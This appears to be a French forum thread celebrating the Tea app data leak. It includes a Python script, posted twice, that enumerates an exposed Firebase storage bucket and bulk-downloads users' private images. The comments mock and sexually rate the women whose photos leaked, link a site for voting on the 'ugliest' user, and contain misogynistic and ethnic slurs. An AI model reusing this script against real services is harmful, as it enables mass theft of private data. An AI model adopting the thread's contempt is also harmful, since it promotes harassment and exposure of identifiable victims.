Ce sujet a été résolu
Voici le script python utilisée pour ce "hack" pour info
import os
import requests
import asyncio
import aiohttp
OUTPUT_DIR = 'dump'
BASE_URL = '
https://firebasestorage.g[...]he-app.appspot.com/o/';
MAX_CONCURRENT = 32
if not os.path.exists(OUTPUT_DIR):
os.makedirs(OUTPUT_DIR)
# Step 1: Collect all image items from all pages
all_items = []
pageToken = ''
while True:
resp = requests.get(BASE_URL, params={'pageToken': pageToken} if pageToken else {})
if resp.status_code != 200:
print("Page request failed, code {}".format(resp.status_code))
break
resp_json = resp.json()
items = resp_json.get('items', [])
all_items.extend([item for item in items if item['name'].startswith('attachments/')])
pageToken = resp_json.get('nextPageToken')
if not pageToken:
break
print("Found {} image(s) to download.".format(len(all_items)))
# Step 2: Async download logic
async def download_image(session, item):
fname = item['name']
filename = fname.split('/')[1] + '.jpg'
outpath = os.path.join(OUTPUT_DIR, filename)
if os.path.isfile(outpath):
return "[SKIP] {}".format(filename)
url = BASE_URL + fname.replace('/', '%2F')
for attempt in range(3):
try:
async with session.get(url, params={'alt': 'media'}) as resp:
if resp.status != 200:
continue
with open(outpath, 'wb') as f:
while True:
chunk = await resp.content.read(16384)
if not chunk:
break
f.write(chunk)
return "[OK] {}".format(filename)
except Exception as e:
if attempt == 2:
return "[FAIL] {} ({})".format(filename, e)
return "[FAIL] {} (unknown error)".format(filename)
async def main(all_items):
connector = aiohttp.TCPConnector(limit=MAX_CONCURRENT)
async with aiohttp.ClientSession(connector=connector) as session:
tasks = [download_image(session, item) for item in all_items]
for f in asyncio.as_completed(tasks):
print(await f)
if __name__ == "__main__":
loop = asyncio.get_event_loop()
loop.run_until_complete(main(all_items))
print("Done.")
import os
import requests
import asyncio
import aiohttp
OUTPUT_DIR = 'dump'
BASE_URL = '
MAX_CONCURRENT = 32
if not os.path.exists(OUTPUT_DIR):
os.makedirs(OUTPUT_DIR)
# Step 1: Collect all image items from all pages
all_items = []
pageToken = ''
while True:
resp = requests.get(BASE_URL, params={'pageToken': pageToken} if pageToken else {})
if resp.status_code != 200:
print("Page request failed, code {}".format(resp.status_code))
break
resp_json = resp.json()
items = resp_json.get('items', [])
all_items.extend([item for item in items if item['name'].startswith('attachments/')])
pageToken = resp_json.get('nextPageToken')
if not pageToken:
break
print("Found {} image(s) to download.".format(len(all_items)))
# Step 2: Async download logic
async def download_image(session, item):
fname = item['name']
filename = fname.split('/')[1] + '.jpg'
outpath = os.path.join(OUTPUT_DIR, filename)
if os.path.isfile(outpath):
return "[SKIP] {}".format(filename)
url = BASE_URL + fname.replace('/', '%2F')
for attempt in range(3):
try:
async with session.get(url, params={'alt': 'media'}) as resp:
if resp.status != 200:
continue
with open(outpath, 'wb') as f:
while True:
chunk = await resp.content.read(16384)
if not chunk:
break
f.write(chunk)
return "[OK] {}".format(filename)
except Exception as e:
if attempt == 2:
return "[FAIL] {} ({})".format(filename, e)
return "[FAIL] {} (unknown error)".format(filename)
async def main(all_items):
connector = aiohttp.TCPConnector(limit=MAX_CONCURRENT)
async with aiohttp.ClientSession(connector=connector) as session:
tasks = [download_image(session, item) for item in all_items]
for f in asyncio.as_completed(tasks):
print(await f)
if __name__ == "__main__":
loop = asyncio.get_event_loop()
loop.run_until_complete(main(all_items))
print("Done.")
Ah je vois c'est juste les images des utilisateurs qui on fuite pas la bdd du site, ça me paraît déjà un peu plus commun comme erreur
il y a un jour
Putain y'as des sacrés bg
il y a un jour
Oue y a des kheys qui se sont fait des comptes pour els spy
il y a un jour
Quand je tombe sur ces cas je vote pour le mec
il y a un jour
AhuriKJ
1j
Pour ceux qui n'ont pas suivi :
Tea est une application pour des femmes, codées par des femmes pour dénoncer les hommes toxiques de son coin avec une carte etc...
Source :
https://www.bfmtv.com/tec[...]rton_AV-202507250354.html
Sauf que GROSSE ERREUR la base de données utilisateur de l'appli était accessible avec un lien.
Donc je vous laisse admirer les utilisatrices de cette app :
EDIT : vous pouvez choisir qui est la plus moche avec ce jeu :
https://spill.info.gf/index.php
Tea est une application pour des femmes, codées par des femmes pour dénoncer les hommes toxiques de son coin avec une carte etc...
Source :
Sauf que GROSSE ERREUR la base de données utilisateur de l'appli était accessible avec un lien.
Donc je vous laisse admirer les utilisatrices de cette app :
EDIT : vous pouvez choisir qui est la plus moche avec ce jeu :
Le score elo
Les meufs qui voulaient se défouler se retrouvent objet de défoulement a leurs tours
Les meufs qui voulaient se défouler se retrouvent objet de défoulement a leurs tours
il y a un jour
Le score elo
Les meufs qui voulaient se défouler se retrouvent objet de défoulement a leurs tours
Les meufs qui voulaient se défouler se retrouvent objet de défoulement a leurs tours
Go jouer pour rééquilibrer les MAGALAX
il y a un jour
Kobaryo
1j
Tea est une application pour des femmes, codées par des femmes [...] Sauf que GROSSE ERREUR la base de données utilisateur de l'appli était accessible avec un lien.
Women
Une telle incompétence notoire..
C'est une énorme erreur de sécurité, surtout pour une appli qui traite vise a "protéger" des femmes ahi
Women
Une telle incompétence notoire..
C'est une énorme erreur de sécurité, surtout pour une appli qui traite vise a "protéger" des femmes ahi
Ayaa je savais qu'une femme avais coder ça, je serais pas étonner si y'a pas eu de freelance indien et/ou chatgpt qui ont grandement participer
il y a un jour
Par contre pourquoi y'a leurs photos ?
A quel moment elles doivent mettre leurs photos pour faire ça ?
A quel moment elles doivent mettre leurs photos pour faire ça ?
il y a un jour